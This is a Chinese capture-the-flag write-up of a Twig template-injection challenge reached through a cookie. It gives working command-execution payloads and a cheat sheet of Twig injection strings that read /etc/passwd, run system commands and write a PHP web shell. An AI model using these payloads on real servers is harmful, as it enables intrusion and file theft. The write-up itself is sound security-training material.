开篇看到 Flag 点进看看:
falg输入什么就返回什么
再看看源码
<!DOCTYPE html>
<html>
<head>
<title>
Cookie_is_so_subtle!
</title>
<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
<!– Bootstrap –>
<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="css/shana_flag.css" rel="stylesheet" media="screen">
<script src="jquery/jquery-3.3.1.min.js"></script>
<script src="bootstrap/js/bootstrap.min.js"></script>
<!– HTML5 Shim and Respond.js IE8 support of HTML5 elements and media
queries –>
<!– WARNING: Respond.js doesn't work if you view the page via file://
–>
<!–[if lt IE 9]>
<script src="http://labfile.oss.aliyuncs.com/html5shiv/3.7.0/html5shiv.js">
</script>
<script src="http://labfile.oss.aliyuncs.com/respond.js/1.3.0/respond.min.js">
</script>
<![endif]–>
</head>
<body>
<nav class="navbar navbar-default navbar-static-top nav1">
<div class="container-fluid">
<div class="navbar-header ul-head0">
<button class="navbar-toggle collapsed" data-target=".navbar-collapse" data-toggle="collapse" type="button">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="index.php" class="navbar-brand">BJDCTF</a>
</div>
<div class="navbar-collapse collapse nav2" aria-expanded="false" style="height: 0px">
<ul class="nav navbar-nav ul-head1">
<li class=""><a href="flag.php">Flag</a></li>
<li class=""><a href="hint.php">Hint</a></li>
</ul>
<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="index.php">@Shana</a></li>
</ul>
</div>
</div>
</nav><div class="container panel1">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="jumbotron pan"> <div class="form-group log">
<label><h2>Hello Aadmin</h2></label>
</div> <div class="row pt-3">
<div class="col-md-12">
<a href="logout.php"><button type="submit" form="form1" name="Logout" value="logout" class="btn btn-default float-right" >Logout</button></a>
</div>
</div>
</div>
</div>
<div class="col-md-4">
</div>
</div>
</div>
</body>
</html>
在页面源代码中发现提示查看cookies
通过抓包,发现cookie里面出现user。尝试多次后,发现是ssti注入
输入user={{7*'7'}}测试一下,确实存在(注意cookie的user前面的连接是;)
同时也判断了ssti注入的类型
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
模板注入是Twig注入
所以是有固定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
获取 flag
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
twig常用的注入payload:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
关键注意事项
- Cookie格式:修改user字段时,需确保其与其他Cookie参数(如PHPSESSID)用;分隔,例如:Cookie: PHPSESSID=xxx; user={{Payload}}。
- 模板类型区分:若未正确判断模板类型(如误判为Jinja2),可能导致Payload无效,需通过{{7*'7'}}测试先行确认。
总结
本题通过Cookie参数的模板注入漏洞,结合Twig引擎的特性实现命令执行,核心在于识别注入点、判断模板类型及构造专用Payload。此类漏洞在Web开发中较为常见,需注意对用户可控参数的严格过滤与模板引擎的安全配置
评论前必须登录!
注册